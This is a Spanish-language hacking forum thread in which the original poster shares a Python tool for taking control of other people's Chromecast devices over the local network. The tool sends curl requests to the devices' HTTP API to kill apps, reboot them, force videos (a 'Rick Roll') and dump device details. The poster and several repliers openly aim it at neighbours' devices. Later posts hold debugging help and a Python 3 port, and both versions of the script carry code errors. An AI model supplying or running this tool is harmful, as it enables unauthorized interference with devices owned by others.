ChromeCast Hacking

Iniciado por ANTRAX, Enero 02, 2018, 07:33:40 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.


Hola a todos!
En este breve tutorial, les dejaré una tool que sirve para hackear chromecast aunque tengan pin.
Esta tool esta hecha en python, por lo que necesitarán tenerlo instalado en sus PCs.

Lo primero que deben hacer es instalar pip, para ello ejecutarán:

Código: python
sudo apt-get install python-pip


Una vez instalado, deberemos instalar una librería llamada PyChromecast, para ello ejecutamos el siguiente comando:

Código: python
sudo pip install PyChromecast


Finalmente, desde la consola y utilizando python, podrán ejecutar el script:

Código: python
import pychromecast
import os

while True:
    menu = """
1. Scan For Chromecasts
2. Kill Current Running App
3. Reboot Chromecast
4. Play Video
5. Get Rick Rolled ;)
6. Info about chromecast
    """
    print menu

    choose = raw_input(">")

    if choose == "1":
print "[*] Scanning..."
        chromecasts = pychromecast.get_chromecasts()
        myDevices = []
for device in chromecasts:
      device.wait()
        print(str(device))
    elif choose == "2":
        ip = raw_input("IP of Chrome Cast> ")
        os.system('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X DELETE' % (ip))

    elif choose == "3":
        ip = raw_input("IP of Chrome Cast> ")
        os.system('curl -H "Content-Type: application/json" http://%s:8008/setup/reboot -d "{"params":"now"}" -X POST' % (ip))

    elif choose == "4":
        ip = raw_input("IP of Chrome Cast> ")
print "eg. v=dQw4w9WgXcQ"
        video = raw_input("Link> ")
        os.system('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X POST -d "%s"' % (ip, video))
       
    elif choose == "5":
        ip = raw_input("IP of Chrome Cast> ")
        os.system('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X POST -d "v=dQw4w9WgXcQ"' % (ip))

    elif choose == "6":
        ip = raw_input("IP of Chrome Cast> ")
        os.system('curl http://%s:8008/setup/eureka_info?options=detail | json_pp' % (ip))

    else:
print "Error!"


Entre las opciones del script tenemos las siguientes:

Código: text
1. Scan For Chromecasts
2. Kill Current Running App
3. Reboot Chromecast
4. Play Video
5. Get Rick Rolled ;)
6. Info about chromecast


No he podido testearlo a full porque no tengo un chromecast a mano ni vecinos con uno. Pero espero que alguno de ustedes pueda comentarnos con los resultados que obtuvo!

Repo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos y espero que les sirva!
ANTRAX


Buenísimo, mi vecino tiene uno, voy a ver que onda. Gracias por aporte!


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


No te hace falta, el codigo está en el post.

Saludos,
ANTRAX


no entiendo muy bien, puede manejarlo terceros ?

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
no entiendo muy bien, puede manejarlo terceros ?

No entendí tu pregunta. Basicamente sirve para manejar el chromecast de tu vecino

Saludos,
ANTRAX


root@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta:~/Github/chromecast# python ./chromecast.py
  File "./chromecast.py", line 47
    print "Error!"import pychromecast
    ^
IndentationError: expected an indented block

Ese es el error que me sale cuando intento ejecutar el script, alguien lo probo?

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
root@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta:~/Github/chromecast# python ./chromecast.py
  File "./chromecast.py", line 47
    print "Error!"import pychromecast
    ^
IndentationError: expected an indented block

Ese es el error que me sale cuando intento ejecutar el script, alguien lo probo?
Revisa si tu versión de Python coincide con la del script (2.x/3.x).
Un saludo

Enviado desde mi Aquaris X5 Plus mediante Tapatalk

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
root@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta:~/Github/chromecast# python ./chromecast.py
  File "./chromecast.py", line 47
    print "Error!"import pychromecast
    ^
IndentationError: expected an indented block

Ese es el error que me sale cuando intento ejecutar el script, alguien lo probo?
Buenas, solo falta poner una tabulación antes del print.. 
Con eso se soluciona el error. Igual me salia ese error.  :P
Saludos.

Al correrlo me da lo siguiente... ::)


Código: php
Traceback (most recent call last):
  File "Cc.py", line 1, in <module>
    import pychromecast
  File "/usr/local/lib/python2.7/dist-packages/pychromecast/__init__.py", line 9, in <module>
    from .config import *  # noqa
  File "/usr/local/lib/python2.7/dist-packages/pychromecast/config.py", line 6, in <module>
    import requests
  File "/usr/local/lib/python2.7/dist-packages/requests/__init__.py", line 84, in <module>
    from urllib3.contrib import pyopenssl
  File "/usr/lib/python2.7/dist-packages/urllib3/contrib/pyopenssl.py", line 46, in <module>
    import OpenSSL.SSL
  File "/usr/lib/python2.7/dist-packages/OpenSSL/__init__.py", line 8, in <module>
    from OpenSSL import crypto, SSL
  File "/usr/lib/python2.7/dist-packages/OpenSSL/crypto.py", line 12, in <module>
    from cryptography import x509
  File "/usr/lib/python2.7/dist-packages/cryptography/x509/__init__.py", line 8, in <module>
    from cryptography.x509.base import (
  File "/usr/lib/python2.7/dist-packages/cryptography/x509/base.py", line 16, in <module>
    from cryptography.x509.extensions import Extension, ExtensionType
  File "/usr/lib/python2.7/dist-packages/cryptography/x509/extensions.py", line 24, in <module>
    from cryptography.x509.general_name import GeneralName, IPAddress, OtherName
  File "/usr/lib/python2.7/dist-packages/cryptography/x509/general_name.py", line 18, in <module>
    from cryptography.x509.name import Name
  File "/usr/lib/python2.7/dist-packages/cryptography/x509/name.py", line 28, in <module>
    _ASN1_TYPE_TO_ENUM = dict((i.value, i) for i in _ASN1Type)
TypeError: 'type' object is not iterable


Ideas?

Saludos

Gn0m3

Pregunta tonta, pero no esta de más...
Lo corriste con sudo?

Saludos,
ANTRAX


Va como piña, voy a molestar a unos cuantos. Excelente aporte !

Saludos, NERV0.
"Ciertos programas informáticos son el reflejo del ego académico del pelotudo que los desarrolla"

La corri como root:
Probe con Python 2.7.14+
y
con
Python 3.6.5rc1

Bueno, ya pude resolver mi problema, se los dejo por si alguien le sucede lo mismo tenga forma de arreglarlo.

El problema lo encuentra al buscar enum en el fichero /usr/lib/python2.7/dist-packages/cryptography/x509/name.py

Lo que sucede es que por mas que tengamos enum34 que es el que se debe utilizar, no se actualiza en el archivo mencionado anteriormente.

Debemos abrir /x509/name.py, y editar la linea que dice:

from enum import Enum

le agregamos el 34 para que quede así:

from enum34 import Enum


Guardamos y listo.


Espero le sirva a alguien.

Saludos.

Gn0m3

Abril 08, 2018, 06:25:01 PM #14 Ultima modificación: Abril 08, 2018, 06:27:24 PM por Gn0m3
Bueno, de nuevo yo, jajaja
tenia algunos problemas al querer usarlo con Python3, asique lo edite para Python3 y le agregue un Exit al menu para poder salir.

Código: python

####################################################
####################################################
#| | | |_ __   __| | ___ _ __ ___ / _ \  __| | ___ #
#| | | | '_ \ / _` |/ _ \ '__/ __| | | |/ _` |/ _ \#
#| |_| | | | | (_| |  __/ | | (__| |_| | (_| |  __/#
# \___/|_| |_|\__,_|\___|_|  \___|\___/ \__,_|\___|#
####################################################
####################################################

import pychromecast
import os

while True:
    menu = """
1. Scan For Chromecasts
2. Kill Current Running App
3. Reboot Chromecast
4. Play Video
5. Get Rick Rolled
6. Info about chromecast
0. Exit
    """
    print (menu)

    choose = input (">")

    if choose == "1":
        print ("[*] Scanning...")
        chromecasts = pychromecast.get_chromecasts()
        myDevices = []
        for device in chromecasts:
            device.wait()
            print(str(device))
    elif choose == "2":
        ip = raw_input("IP of Chrome Cast> ")
        os.system('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X DELETE' % (ip))

    elif choose == "3":
        ip = raw_input("IP of Chrome Cast> ")
        os.system('curl -H "Content-Type: application/json" http://%s:8008/setup/reboot -d "{"params":"now"}" -X POST' % (ip))

    elif choose == "4":
        ip = raw_input("IP of Chrome Cast> ")
        print ("eg. v=dQw4w9WgXcQ")
        video = raw_input("Link> ")
        os.system('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X POST -d "%s"' % (ip, video))
       
    elif choose == "5":
        ip = raw_input("IP of Chrome Cast> ")
        os.system('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X POST -d "v=dQw4w9WgXcQ"' % (ip))

    elif choose == "6":
        ip = raw_input("IP of Chrome Cast> ")
        os.system('curl http://%s:8008/setup/eureka_info?options=detail | json_pp' % (ip))

    elif choose == "0":
        break
    else:
        print ("Error!")


Saludos

Gn0m3

Tremendo aporte @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Mil gracias!